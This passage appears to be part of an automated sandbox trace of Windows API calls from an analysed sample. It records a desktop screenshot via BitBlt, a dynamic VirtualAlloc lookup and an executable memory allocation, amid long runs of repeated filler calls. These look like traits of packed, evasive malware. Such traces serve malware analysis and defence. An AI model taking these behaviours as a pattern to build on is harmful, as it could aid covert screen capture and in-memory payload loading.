pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.236] SystemParametersInfoA (in: uiAction=0x68, uiParam=0x0, pvParam=0x18f568, fWinIni=0x0 | out: pvParam=0x18f568) returned 1 [0141.237] GetWindowLongA (hWnd=0x0, nIndex=-6) returned 0 [0141.237] GetDesktopWindow () returned 0x10010 [0141.237] GetDC (hWnd=0x10010) returned 0x601015d [0141.237] GetClientRect (in: hWnd=0x10010, lpRect=0x18f54c | out: lpRect=0x18f54c) returned 1 [0141.237] CreateCompatibleDC (hdc=0x601015d) returned 0x30010706 [0141.237] CreateDIBSection (in: hdc=0x30010706, lpbmi=0x18f4d8, usage=0x0, ppvBits=0x18f528, hSection=0x0, offset=0x0 | out: ppvBits=0x18f528) returned 0x5205070a [0141.237] SelectObject (hdc=0x30010706, h=0x5205070a) returned 0x185000f [0141.237] BitBlt (hdc=0x30010706, x=0, y=0, cx=1440, cy=900, hdcSrc=0x601015d, x1=0, y1=0, rop=0xcc0020) returned 1 [0141.391] ReleaseDC (hWnd=0x10010, hDC=0x601015d) returned 1 [0141.392] GdipAlloc (size=0x10) returned 0x0 [0141.392] LoadLibraryA (lpLibFileName="kernel32") returned 0x762e0000 [0141.392] SelectObject (hdc=0x30010706, h=0x185000f) returned 0x5205070a [0141.392] DeleteObject (ho=0x5205070a) returned 1 [0141.417] DeleteDC (hdc=0x30010706) returned 1 [0141.417] CreateStreamOnHGlobal (in: hGlobal=0x0, fDeleteOnRelease=1, ppstm=0x18f470 | out: ppstm=0x18f470*=0x608148) returned 0x0 [0141.417] GetProcAddress (hModule=0x762e0000, lpProcName="VirtualAlloc") returned 0x762f1856 [0141.417] GdipAlloc (size=0x10) returned 0x0 [0141.417] VirtualAlloc (lpAddress=0x0, dwSize=0x34000, flAllocationType=0x3000, flProtect=0x40) returned 0x560000 [0141.426] IUnknown:Release (This=0x608148) returned 0x0 [0141.426] DialogBoxParamA (hInstance=0x400000, lpTemplateName=0x5a, hWndParent=0x0, lpDialogFunc=0x429e70, dwInitParam=0x0) returned 0xffffffff [0141.426] IsWindow (hWnd=0x0) returned 0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.426] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.427] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.428] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.428] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.428] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.428] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.428] IsDlgButtonChecked (hDlg=0x0, nIDButton=88) returned 0x0 [0141.428] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8d8 [0141.428] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0a0 [0141.428] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.428] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de8e0 [0141.428] GetModuleHandleA (lpModuleName="ntdll") returned 0x77b90000 [0141.428] GetProcAddress (hModule=0x77b90000, lpProcName="memcpy") returned 0x77bb2340 [0141.428] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de8f8 [0141.428] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de910 [0141.428] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.428] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.428] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.428] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de910 | out: hHeap=0x3d0000) returned 1 [0141.429] FindWindowA (lpClassName="z\x07", lpWindowName="") returned 0x0 [0141.429] RasDeleteSubEntryA (pszPhonebook="z\x07", pszEntry="z\x07", dwSubentryId=0x4) returned 0x26f [0141.434] GetParent (hWnd=0x0) returned 0x0 [0141.434] PageSetupDlgA (param_1=0x18c9dc) returned 0 [0141.434] SendMessageA (hWnd=0x0, Msg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0141.434] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.434] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.434] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.434] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.434] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.434] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.434] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8e0 [0141.435] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.435] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de138 [0141.435] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.435] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8e0 [0141.435] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de138 | out: hHeap=0x3d0000) returned 1 [0141.435] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de910 [0141.435] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.435] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de910 | out: hHeap=0x3d0000) returned 1 [0141.435] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.435] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.435] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.435] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.435] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.435] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.435] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.435] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.435] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd856fb10, dwHighDateTime=0x1d595b2)) [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd856fb10, dwHighDateTime=0x1d595b2)) [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.436] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.436] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd856fb10, dwHighDateTime=0x1d595b2)) [0141.436] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.436] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd856fb10, dwHighDateTime=0x1d595b2)) [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.436] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.436] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd856fb10, dwHighDateTime=0x1d595b2)) [0141.436] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.436] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd856fb10, dwHighDateTime=0x1d595b2)) [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.436] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.436] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.436] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd856fb10, dwHighDateTime=0x1d595b2)) [0141.436] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.436] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.436] GetLastError () returned 0x578 [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.436] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.436] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.436] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8e0 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de138 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8e0 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de138 | out: hHeap=0x3d0000) returned 1 [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de910 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de910 | out: hHeap=0x3d0000) returned 1 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8572220, dwHighDateTime=0x1d595b2)) [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8572220, dwHighDateTime=0x1d595b2)) [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8572220, dwHighDateTime=0x1d595b2)) [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8572220, dwHighDateTime=0x1d595b2)) [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8572220, dwHighDateTime=0x1d595b2)) [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.437] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.437] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8574930, dwHighDateTime=0x1d595b2)) [0141.437] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.438] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd8574930, dwHighDateTime=0x1d595b2)) [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.438] GetLastError () returned 0x578 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd908 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd8f8 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8e0 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de138 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8e0 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de138 | out: hHeap=0x3d0000) returned 1 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de910 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8e0 | out: hHeap=0x3d0000) returned 1 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de910 | out: hHeap=0x3d0000) returned 1 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8e8 | out: hHeap=0x3d0000) returned 1 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8e8 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd8f8 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd908 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd8f8 | out: hHeap=0x3d0000) returned 1 [0141.438] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0b8 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd908 | out: hHeap=0x3d0000) returned 1 [0141.438] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0b8 | out: hHeap=0x3d0000) returned 1 [0141.438] HeapFree (in: hHeap=0x3d0000, 